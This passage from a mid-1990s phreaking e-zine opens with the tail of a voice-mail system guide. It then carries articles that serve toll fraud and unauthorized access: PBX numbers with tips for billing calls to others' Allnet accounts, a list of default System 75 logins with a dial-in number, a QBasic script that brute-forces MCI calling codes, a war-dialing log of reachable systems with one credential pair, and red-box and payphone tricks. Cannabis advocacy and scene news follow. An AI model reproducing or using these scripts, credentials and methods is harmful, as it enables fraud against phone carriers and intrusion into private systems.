TO SEND MESSAGES: ── Enter your mailbox as described in section 2. ── Press 2. ── Dial the desired mailbox number or group list number. ── After hearing the subscriber's name, press # to accept it. ── When you hear the tone record your message. ■ To pause while recording press 2. To continue press any key. ■ To erase and re-record your message press 3. ── EITHER, Hang up to send the message. OR, Use one of the following options: ■ Press 1 to replay the message. ■ Press 2 to add to the message. ■ Press 3 to erase and re-record the message. ── EITHER, Press # to send the message. OR, Press 1 to use the special delivery options. You can perform one or more of the following steps: ■ Press 1 to mark the message "private" to prevent the recipient from forwarding it. ■ Press 2 to mark the message "certified" if you want to recieve a receipt notice. ■ Press 3 to mark the message "priority" to place your message ahead of all other waiting messages in the recieving mailbox. ■ Press * to cancel delievery options. ■ Press # to deliver the message. ── After the message has been sent, you may hang up or choose either of the following options: ■ Press 1 and enter another mailbox number to send the message to another destination. ■ Press # to return to the Main Menu. <.4.> Personal Options Personal Options allow you to customize your mailbox. Voice Mail has the following personal options: ■ Greetings: Your primary or alternate greeting is played to callers when they reach your mailbox. ■ Directory Name: Your recorded name is used to identify you in the directory and to verify your mailbox number when messages are addressed to you by non-subscribers and other subscribers. ■ Password: Your password is ued to prevent unauthorized acceses to your mailbox. ■ Message Envelope Contents: Each message is preceded by an "envelope" message that can be programmed to include time/date the message was left, the source of the message, and/or the length of the message. To Program Personal Options: ── Enter your mailbox #. ── Press 4 to select Personal Options Menu. You may then perfrom any or all of the following functions: To Change Your Personal Greeting: ── Press 1 ── EITHER, Press 1 to record and/or enable your primary greeing. ── OR, Press 2 to record and/or enable your alternate greeting. ── OR, Press 3 to enable the system default mailbox greeting. ── If you pressed 1 or 2, the greeting is played. EITHER, Press # to accept the greeint. (Or, press 1 if you wish to replay the greetiing, press 2 to add to the greeting, or press 3 to erase and re-record the greeting.) OR, Press * to exit without changing the greeting. To Change Your Directory Name: ── Press 2. Your current name is played. Press 1 to replay your recorded name, if desired. ── Press 3 to erase and re-record your name. ── When you hear a tone, record your first and last name, then press #. ── Press # again to accept your recorded name. (Or, press 1 to replay your recoreded name, press 2 to add to your name, or press 3 to erase and re-record your name.) To Change Your Password: ── Press 3. ── Enter a password using digits 0-9 (up to 12 digits). ── Press #. Voice Mail plays back your password. ── Press # to accept the password as entered. Or, press 3 if you want to erase and re-enter your password. To Change Your Message Envelope: ── Press 4. ── To enable or disable the time/date option, press 1. ── To enable or disable the message source option, press 2. ── To enable or disable the message lenght option, press 3. ── To enable all options, press 4. ── To disable the envelope, press 5. ── To accept the envelope, press #. ── To return to the Persoanl Options menu without changing the envelope, press *. <.5.> Remote Messageing and Using The Directory REMOTE MESSAGING : To Set Up Remote Messaging: ── Enter your mailbox as described in section 2. ── Press 5. ── Press 1 to set up a Primary destination or press 2 to setup an alternate destination. You then have the following options: To Turn Remote Messaging On Or Off: ── Press 1. ── If Chosen press 1 to enable pager notification or 2 to enable personal notification. Then, press 1 to have it notify you for any new message or press 2 to have it notify you on priority messages only. To Set Up Or Change The Telephone Number: ── Press 2. ── Dial the telephone number, then press #. To Set Up The Time Of Day: ── Press 3. ── When prompted, enter the time at which you wish to have the message notification start and stop. Enter the times with two digits for the hour and two digits for the minutes. (If you wish to have continous notification, enter the same time for the starting and ending. ) If entering the time in the 12-hour format you will be promted to press 1 for AM or press 2 for PM. To Set Up The Days Of The Week: ── Press 4. ── Press 1 for messagin Monday-Friday, press 2 for all days, or press 3 to select individual days. ── If you selected individual days, you will be prompted to press digits 1-7 which correspond to the days Sunday through Saturday. (ie Sunday = 1) Press # to accept the days of the week. To Exit: ── Press #. USING THE DIRECTORY : The mailbox and extension number directories can be used any time a prompt asks you to enter a mailbox number. You use the keypad keys on your phone to enter the name. The system then plays the closest matching directory name that corresponds to the entry. To Use The Directory: ── Dial the Voice Mail access number. ── Press # for Directory Services. ── Enter the desired name by pressing a single key on the dial pad for each letter of the name, then press #. (The letters match those printed on the key. for example pressing 2 to enter A, B, or C.) To hear the system play a helpful prompt instructing you how to enter a name, press 0 at any time while spelling a name. ── The selected name is played. Do one of the following: -To accept the name press #. -To hear the previous name in the directory, press 1. -To hear additional information for the selected anem (if allowed), press 2. -To hear the next name in the directory, press 3. -To spell a different name, press 4 and spell a new name as described above. -To switch the first/last name sort order, press 5. <.6.> Where Can I Find This System? To tell you the truth I don't know. There is no way of identifying this system from any other. Except for the fact that you cannot get this system to tell you that it is an IVX500. So good luck and happy hacking. [-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-] <.ARTiCLE.9.> ───────────────────── │My Allnet Discovery│ ───────────────────── ┌─│────────┐ by ──┼──reason│ └─│────────┘ Recently I was trying to call up Hallmark on their Holiday Greeting line to use their Prepaid Calling-Card service. But I couldn't remember the number. I knew it was around (800) 203-12xx. So I tried 35 as the xx. Which I was sure would work and I hear the sweet sound of the Allnet operator's recorded voice echoing through my phone "Please Enter Your 4 Digit PiN". Hmm, I thought sounds like a PBX. I didn't know anything about it at first until I entered 9999 as the PiN. When the operator's voice echoes "Thank You" So right now I'm feeling pretty good I found a PBX and got the code on the first try. Well it wasn't the right code I wanted. It forwared me to Allnet's Customer Service Automed System. Once you get to this hit 2 for the real automated service. On that you can find out your account balance with your Allnet account number which if you can hack can get you free calls through their extender which I will explain later in this article. You can also find out find out dialing sequences for dialing domestic and international. Plus some other useless shit like finding out mailing addresses to where to send you bills. This service can be reached without going through a PBX by calling (800) 536-3273. Now back to the PBX hacking. After that customer service discovery I tried a number. Then I hear enter my 4 digit PiN again. The second try I did it again and hear "One Moment Please". I thought jackpot. But then hear "You must enter a valid Pin for placing your call". Rats foiled again. Thats how I knew it was a PBX. I was thinking how lucky I was to have found a PBX for a mass telco so luckily. Little did I know theirs a million of these around. And some are fucked up so after entering 2 invalid pins it transfers you to someones residence! Incase your wondering one of those numbers is (800) THE-KRAD (843-5723). At the end of this article will be a small list of numbers for this service. For their extender just dial on up (800) 783-1444. Then with your touchtone phone dial that numbers. Then at the first single tone dial 0-NPA-PRE-SUFF. You can call international. Then at the second double tone enter your 11 digit Allnet account number and your call will be billed to you Allnet account. List oF Numbers ─────────────── (800) xxx-xxxx (800) 203-1235 (800) THE-KRAD (800) 868-5995 (800) 868-1362 (800) 868-1366 (800) 868-0586 (800) 868-3210 (800) 868-0056 (800) 868-5083 (800) 868-1974 (800) 868-2218 (800) 868-3580 (800) 868-5028 (800) 868-4624 (800) 868-1666 (800) 325-4073 [-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-] <.ARTiCLE.10.> ───────────────────── │System 75 Defaults │ ───────────────────── By Ser: cust custpw - Highest acct privlege rcust rcustpw - Restricted cust acct (Still good) browse browsepw - Pretty Much shit browse looker - Shit maint rwmaint LOCATE locatepw tech field inads inads inads indspw inads inadspw support supportpw bcim bcimpw bciim bciimpw enquiry enquirypw init initpw bcms bcms bcms bcmspw craft craftpw craft crack blue bluepw We've found a few in 518, but we aint giving them out, cause if we do there will be about 500+ wanna be 518 hackers fucking it up for us... But we will give you one in 5o3.... here ya go 5o3-223-5340, it still uses cust and rcust for defualts, so you can check it out.. Late [-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-] <.ARTiCLE.11.> A Simple MCi Code Hacker By Substance Check this prog out, i wrote this with some spare time, you should substitute your correct comport for the comport given defaulted. Exaclty what this will do is, call the 95o-1o22 # (For MCi's PBX) and dial in a random MCi Code (excluding starting 0's and 1's) Then will dial a # that will never be busy with a modem obviously (like i think it's compusrv) Then wait a few sec's. If it see's the word CONNECT it writes the code to file. All tho this isnt the most accurate way of hacking MCi codes, this has about a 10 out of 100 chance of getting home.. Try it out, if your not completly satisfied, fuck off - Substance ------------------------------------------------------------------------------ ON ERROR GOTO ED BEGIN: RANDOMIZE TIMER CLOSE HACK$(3) = "14" ' CODE LENGTH SCAN$(8) = "40" ' SECONDS TO WAiT FOR CoNNECT OPEN "COM2:2400,N,8,1" FOR RANDOM AS #1: OPEN "CON" FOR OUTPUT AS #2: OPEN "VALIDS.DAT" FOR APPEND AS #3 1 CLS COLOR 11: PRINT " MCi LD K0DE HACKER" COLOR 11: PRINT "■"; : COLOR 9: PRINT " iNiTiALiZiNG MoDeM ": PRINT #1, "ATS11=80": SLEEP 3 COLOR 3: PRINT "■"; : COLOR 9: PRINT " DiALiNG MCi" 4 a$ = INKEY$ TOTAL$ = "": Q$ = "" ' CLEAR MODEM BUFFER NUMS$ = "" ' CLEAR RANDOM #'S LOCATE 4, 1 ' [ ] FOR DL = 1 TO VAL(HACK$(3)) ' [ ] X = INT(RND * 10) ' [ ] IF DL = 1 AND X = 0 THEN X = INT(RND * 9 + 1) ' [ GENERATES ] X$ = STR$(X) ' [ RANDOM ] X$ = RIGHT$(X$, 1) ' [ #'S ] NUMS$ = NUMS$ + X$ ' [ ] NEXT DL ' [ ] PRINT "HACKiNG CODE " + NUMS$ ' [ ] PRINT #1, "ATDT9501022,,,,0-8012501600,,," + NUMS$ Starttime = TIMER IF a$ = CHR$(27) THEN CLOSE : END 2 a$ = INKEY$ Timeleft = INT(TIMER - Starttime) T$ = INPUT$(LOC(1), #1) TOTAL$ = TOTAL$ + T$ IF a$ = CHR$(27) THEN CLOSE : END IF INSTR(1, TOTAL$, "NO CA") > 0 THEN PRINT "NO CARRiER": GOTO BEGIN IF INSTR(1, TOTAL$, "CONN") > 0 THEN PRINT #3, "HACKiNG 95o-1o22 C0DE - " + NUMS$: BEEP: LOCATE 15, 1: PRINT "LAST VALiD CODE " + NUMS$: PRINT #1, "ATZH0": CLOSE #1: OPEN "COM2:19200" FOR RANDOM AS #1: NUMS$ = "": SLEEP 2: TIMEE = 0: GOTO BEGIN IF INSTR(1, TOTAL$, "CARR") > 0 THEN PRINT #3, "HACKiNG 95o-1o22 C0DE - " + NUMS$: BEEP: LOCATE 15, 1: PRINT "LAST VALiD CODE " + NUMS$: PRINT #1, "ATZH0": CLOSE #1: OPEN "COM2:19200" FOR RANDOM AS #1: NUMS$ = "": SLEEP 2: TIMEE = 0: GOTO BEGIN IF INSTR(1, TOTAL$, "BUSY") > 0 THEN PRINT "BUSY": GOTO BEGIN IF a$ = CHR$(27) THEN CLOSE : END TIMEE = VAL(SCAN$(8)) - Timeleft IF TIMEE < 0 THEN PRINT #1, "ATZH0": CLOSE #1: OPEN "COM2:19200" FOR RANDOM AS #1: GOTO 4 LOCATE 5, 1 PRINT TIMEE; " SECONDS LEFT" GOTO 2 END ED: IF ERR = 57 THEN RESUME PRINT ERR PRINT "PLEASE PRESS ENTER ERROR" ------------------------------------------------------------------------------ [-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-] <.ARTiCLE.12.> Scanned By Substance from 12-24-94 up to 01-05-95 Carrier At 459-0022 - Dead ▒≡▒ 12-24-1994 21:59:02 Carrier At 459-0037 - Dead ▒≡▒ 12-24-1994 22:05:43 Carrier At 459-0038 - Dead ▒≡▒ 12-24-1994 22:05:45 Carrier At 459-0166 - ID + PW ▒≡▒ 12-24-1994 23:17:47 Carrier At 459-0193 - SCo UNiX ▒≡▒ 12-24-1994 23:29:08 Carrier At 459-0266 - Dead ▒≡▒ 12-25-1994 00:00:12 Carrier At 459-0270 - TeleSphere BBS ▒≡▒ 12-25-1994 00:01:36 Carrier At 459-0283 - Needs Acct Id e,7,1 ▒≡▒ 12-25-1994 00:07:06 Carrier At 459-0294 - Dead ▒≡▒ 12-25-1994 00:11:27 Carrier At 459-0582 - Sco UniX ▒≡▒ 12-25-1994 02:22:57 Carrier At 459-0589 - Sco UniX ▒≡▒ 12-25-1994 02:26:07 Carrier At 459-0602 - Dead ▒≡▒ 12-25-1994 02:31:41 Carrier At 459-0616 - UniX ▒≡▒ 12-25-1994 02:38:19 Carrier At 459-0734 - UniX ▒≡▒ 12-25-1994 03:31:24 Carrier At 459-0740 - Dead ▒≡▒ 12-25-1994 03:33:48 Carrier At 459-0798 - Dead ▒≡▒ 12-25-1994 04:00:41 Carrier At 459-0810 - Dead ▒≡▒ 12-25-1994 04:05:42 Carrier At 459-0811 - Dead ▒≡▒ 12-25-1994 04:05:44 Carrier At 459-0827 - UniX ▒≡▒ 12-25-1994 04:13:01 Carrier At 459-0836 - Password Required ▒≡▒ 12-25-1994 04:17:27 Carrier At 459-1016 - Different Terminal Needed ▒≡▒ 12-25-1994 05:38:02 Carrier At 459-1024 - Enter Password ▒≡▒ 12-25-1994 05:41:54 Carrier At 459-1033 - Dead ▒≡▒ 12-25-1994 05:45:51 Carrier At 459-1070 - 12oo, num ▒≡▒ 12-25-1994 06:02:57 Carrier At 459-1092 - Dead ▒≡▒ 12-25-1994 06:12:59 Carrier At 459-1163 - Federal Interstate Bank? ▒≡▒ 12-25-1994 06:44:59 Carrier At 459-1164 - Dead ▒≡▒ 12-25-1994 06:45:23 Carrier At 459-1258 - Welcome To Albany, Unix ▒≡▒ 12-25-1994 07:30:34 Carrier At 459-1354 - Dead ▒≡▒ 12-25-1994 08:14:42 Carrier At 459-1356 - Dead ▒≡▒ 12-25-1994 08:15:37 Carrier At 459-1377 - Dead ▒≡▒ 12-25-1994 08:25:38 Carrier At 459-1508 - Dead ▒≡▒ 12-25-1994 09:38:30 Carrier At 459-1514 - Dead ▒≡▒ 12-25-1994 09:41:09 Carrier At 459-1601 - Some very weird system ▒≡▒ 12-25-1994 17:14:14 Carrier At 459-1740 - UNiX ▒≡▒ 12-27-1994 23:24:54 Carrier At 459-2003 - Dead ▒≡▒ 12-28-1994 01:24:11 Carrier At 459-2155 - Dead ▒≡▒ 12-28-1994 02:34:59 Carrier At 459-2189 - Dead ▒≡▒ 12-28-1994 02:50:49 Carrier At 459-2233 - Dead ▒≡▒ 12-28-1994 03:11:15 Carrier At 459-2319 - Dead ▒≡▒ 12-28-1994 03:51:41 Carrier At 459-2345 - Dead ▒≡▒ 12-28-1994 04:03:43 Carrier At 459-2661 - Dead ▒≡▒ 12-28-1994 06:31:28 Carrier At 459-2742 - Dead ▒≡▒ 12-28-1994 07:09:07 Carrier At 459-2951 - Dead ▒≡▒ 12-28-1994 08:47:08 Carrier At 459-2959 - Dead ▒≡▒ 12-28-1994 08:51:53 Carrier At 459-3292 - Dead ▒≡▒ 12-28-1994 14:19:53 Carrier At 459-3355 - Modem, No Con ▒≡▒ 12-28-1994 14:48:11 Carrier At 459-3369 - OfficeMax StoreMax ]I[ ▒≡▒ 12-28-1994 14:54:33 Carrier At 459-3419 - Dead ▒≡▒ 12-28-1994 15:17:52 Carrier At 459-3424 - Dead ▒≡▒ 12-28-1994 15:19:41 Carrier At 459-3501 - Dead ▒≡▒ 12-28-1994 16:54:41 Carrier At 459-3511 - Fax ▒≡▒ 12-28-1994 16:59:44 Carrier At 459-3554 - UNiX - SYNC SYNC11 ▒≡▒ 12-28-1994 17:21:27 Carrier At 459-3776 - UNiX ▒≡▒ 12-29-1994 17:19:09 Carrier At 459-4287 - Different Terminal ▒≡▒ 12-30-1994 03:29:13 Carrier At 459-4394 - SCoUNiX ▒≡▒ 12-30-1994 04:17:11 Carrier At 459-4452 - Dead ▒≡▒ 12-30-1994 04:42:00 Carrier At 459-4892 - Dead ▒≡▒ 12-30-1994 08:03:29 Carrier At 459-4934 - Different Terminal ▒≡▒ 12-30-1994 08:22:15 Carrier At 459-5161 - Unix ▒≡▒ 12-30-1994 10:05:24 Carrier At 459-5176 - Dead ▒≡▒ 12-30-1994 10:11:16 Carrier At 459-5215 - UNiX - ID: SYNC/SYNC11 ▒≡▒ 12-30-1994 14:00:59 Carrier At 459-5344 - UNiX ▒≡▒ 01-03-1995 07:48:04 Carrier At 459-5397 - Different Terminal ▒≡▒ 01-03-1995 08:12:53 Carrier At 459-5427 - (144) ▒≡▒ 01-03-1995 08:27:07 Carrier At 459-5524 - Dead ▒≡▒ 01-03-1995 09:12:24 Carrier At 459-5607 - Dead ▒≡▒ 01-03-1995 09:48:21 Carrier At 459-5917 - (1200) ▒≡▒ 01-03-1995 12:09:17 Carrier At 459-6282 - Different Terminal ▒≡▒ 01-03-1995 14:56:32 Carrier At 459-6337 - Dead ▒≡▒ 01-05-1995 02:11:06 Carrier At 459-6461 - Dead ▒≡▒ 01-05-1995 03:04:19 Carrier At 459-6487 - Dead ▒≡▒ 01-05-1995 03:15:10 Carrier At 459-6538 - Dead ▒≡▒ 01-05-1995 03:36:51 Carrier At 459-6543 - Dead ▒≡▒ 01-05-1995 03:38:46 Carrier At 459-6551 - Dead ▒≡▒ 01-05-1995 03:42:12 Carrier At 459-6588 - Dead ▒≡▒ 01-05-1995 03:57:52 Carrier At 459-6799 - Dead ▒≡▒ 01-05-1995 05:26:50 Carrier At 459-6822 - Dead ▒≡▒ 01-05-1995 05:36:56 Carrier At 459-6916 - Dead ▒≡▒ 01-05-1995 06:15:27 Carrier At 459-6970 - Special Terminal ▒≡▒ 01-05-1995 06:38:05 Carrier At 459-6977 - UNiX ▒≡▒ 01-05-1995 06:40:51 Carrier At 459-6997 - UNiX ▒≡▒ 01-05-1995 06:48:42 Carrier At 459-7254 - (96oo) ▒≡▒ 01-05-1995 08:54:05 Carrier At 459-7500 - Dead ▒≡▒ 01-05-1995 10:43:49 Carrier At 459-7594 - Dead ▒≡▒ 01-05-1995 11:24:01 Carrier At 459-7718 - (12oo) Says Weird Shit ▒≡▒ 01-05-1995 12:17:23 Carrier At 459-8059 - Dead ▒≡▒ 01-05-1995 14:41:46 This was alot of werk so enjoy it.. Another Scan Done sucessfully by PsychoScan 2.10 (PsychoScan's latest on most good FTP sites including ftp.winternet.com, and spy.org. Also on AWoL [518] [-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-] <.ARTiCLE.13.> ────────────── │ BTR Shorts │ ────────────── by The Whole World ->■ What are BTR Shorts? BTR shorts are pieces of info that are too small for their own article therefore their short pieces. Hence the name shorts. If you can submit a short send to AWoL [518] 383-1369. ->■ Isn't Pilgrim Telephone (a New England Based Telco) pretty arrogant about their collect calling service? I think so. By calling [800] 382-5288 or [800] FUCK-ATT and [800] 382-5624 or [800] FUCK-MCI You hear a duck quack really loud then you Pilgrim Telephone introduces themselves, then you hear "Enter The Number You Wish To Call" Then enter ACN and then it'll ask for your name say "Dick" and it'll call that # and ask if they'll accept a collect call from Dick. Without you hearing the operator + person conversation. ->■ If you want a sure fire way to red box that always works then listen up. In order for this to work you have to have a properly recorded tone. By dialing up any 10xxx (tenex) code plus 1+ACN. Then it asks you for a shit load of money. Like $1.35 for a local call. But since it isn't monitored theres nothing there to monitor how many coins have been dropped in. ->■ New AC's in '95 281 - Texas 334 - Alabama 360 - Washington 423 - Tennessee 456 - International Inbound 500 - Personal Communications Services (A SAC or Special Area Code) 520 - Arizona 540 - Virginia 562 - California 630 - Illinois 954 - Florida 970 - Colorado ->■ A Brief List of 10XXX (Tenex) Codes. 10222 - MCi 10245 - RCi 10288 - AT&T 10333 - Sprint 10444 - AllNet 10488 - Metromedia 10532 - Joker Communications 10533 - Joker Communications 10555 - Wiltel 10658 - Wiltel 10732 - AT&T 10789 - Metromedia 10811 - VarTec Telecom 10880 - Opticom ->■ Quick answer this : True or False you can always make free calls from a Cocot? In the words of OJ Simpson, Absolutely, Positevely 100 percent TRUE. If your waiting for DT trick doesnt work then use your autodialer or keypad. But if that doesn't work call up the operator (0) then ask for a long distance carrier, ie : ATT. Then say I need assistance in a call say the #, you can't do 900's but you can do 800's and LD, + INTL. That usually works. Sometimes that even works on badly programmed Bell phones. [-BEGIN.ADD-] ->■ HEMP CAN SAVE THE WORLD! Cannabis hemp is known today primarily for its widespread use as a recreational drug: Cannabis flowers when smoked or ingested produce euphoric effects. Current gross domestic sales of marijuana are estimated at $30 billion... What is less well known is that hemp is an invaluable and enviromentally friendly resource in many other areas as well. For example: "One acre of hemp will make the same amount and quantity of paper as four acres of 20 year old trees without the need for chlorine in the bleaching process, creating no toxic dioxin pollutants." When mature, hemp is the toughest natural fiber known; demin was originally made from hemp sailcloth; canvas take its name from the word Cannabis (Canvass). Hemp can also be used as a fuel. Old USDA reports show Hemp gives 4-10 times the yield of cellulose per acre compared to corn. Modern methods of converting cellulose to methanol make this a viable and pollution free method for powering cards, trucks, buses, etc. Equally important are the uses of Hemp for food and medicine. Cannabis seeds yield as much edible oil per acre as sunflowers do; the pressed pulp is second in protein only to that of soy beans. Federal regulations in the US prohibit research into additional benificial effects, however cannabis is well known to be helpful fro glaucoma, asthma, anorexica and stress, potentially replacing half the prescriptions written today. And , "...there are simply no credible medical reports to suggest that consuming marijuana has caused a single death...". Too bad the same can't be said of alcohol or tobacco. Today there is growing support for taking the 'crime' out of Cannabis. US DA Judge Vaughn Walker notes, "I make no bones about my personal view that the best course of action for us to take is exactly the same course of action for us to take is exactly the same course we took after prohibition. And that is decriminalization." Help save the planet. Help legalize Hemp! Cannabis Action Network (CAN) works with over 250 organizations worldwide. Call or write today for information on events in your area and how you can help. CANNABIS ACTION NETWORK 2560 BANCROFT WAY #46 BERKELY, CA 94704 (510) 486-8083 [-END.ADD-] ->■ 20 Quick Facts On Pot 1. Cannabis and hemp are the same. "Marijuana" was the Mexican name given to it. 2. Cannabis was first cultivated in China around 4000 bc 3. The original drafts of the Declaration of Independence were written on hemp paper. 4. One acre of hemp will produce as much paper as 4 acres of trees. 5. Hemp is a source of fiber and cloth and cordage for rope. 6. George Washinton and Thomas Jefferson grew hemp. Washington, our very first president declared, "Make the most of the hemp seed. Sow it everywhere." 7. Hemp see is nature's perfect food. The oil from hemp seeds has the highest percentage of saturated fats. 8. Sterilized hemp seed is commonly sold as bird seed. 9. Rolling papers, like Bambu, are made from hemp paper. 10. In 1937, the Marijuana Tax Stamp Act prohibited the use, safe and cultivation of hemp/marijuana in the United States. 11. Five years later, during WWII, the US Dept. of Agriculture released the film, "Hemp For Victory," which encouraged American farmers to grow hemp for the war effort. 12. Hemp is cultivated all over the world. Today, China, Korea, Italy Hungary, Russia and France are among the countries that grow hemp for fiber, paper and other products. 13. Cannabis is classified as a schedule 1 drug by the FDA. Designated as a narcotic, it cannot be prescribed by doctors to patients. 14. In 1988, the DEA's own administravite law judge concluded that "marijuana is one of the safest, therapuetically active substances known to man." 15. Cannabis can be used as a medicine to treat nausea, pain and muscle spasms. It alleviates symptons of glaucoma, MS, AIDS, migranes and other debillitating ailmetns. 16. 35 states have passed legistation permitting medical use of hemp. 17. 12 Americans recieve prescribed marijuana from the US goverment. 18. More than 400,000 Americans are arrested each year on marijuana charges. 19. More than 400,000 Americans die from diseases related to cigarette smoking each year. More than 150,000 Americans die of alcohol abuse each year. But in 10,000 years of usage no one has ever died from the usage of marijuana. 20. Packs an awesome buzz. [-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-] <.ARTiCLE.14.> ─────────────────────────── │BTR News & Shit Like That│ ─────────────────────────── by The Crew Of Editors LSD BUSTED! The Liquid Sky Datacom (internet LSD.ORG) is no longer. Sysops Baxter & Die Warzau are in jail for letting users post valid CC's in the Cardings section. Too bad, LSD was advertised in 2600 mag, had it's own Voice Mail System, 3 28.8, and lots of hardware. Shit load of money down the drain. I don't know anything else like sentencing because I didn't see the news paper article since I don't get that paper. A Public Service Announcemnt: To all lamers that call the 2600 Voice BBS and don't post shit : Hello? Are you alive? The thing is lame but it could be very good. It is busy just about 24/7. With only about 3 or less posts a day. I think that fucking sucks. So if you call you better have something to say. We Hope you liked this issue of BTR. See you soon. BTR has no deadlines but usually comes out from every 1 month to every month and a half or so. [-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-] -+\+--+\+--+\+--+\+--+\+--+\+--+\+--+\+--+\+--+\+--+\+--+\+--+\+--+\+--+\+--+\ This Has Been A BTR production All Rights Lost -Substance -RK -Treason What's Your New Year's Revolution? Call Our VMBs! Murders Like A Box Of Chocolates, You Never Know Who Your Gunna Kill. -+\+--+\+--+\+--+\+--+\+--+\+--+\+--+\+--+\+--+\+--+\+--+\+--+\+--+\+--+\+--+\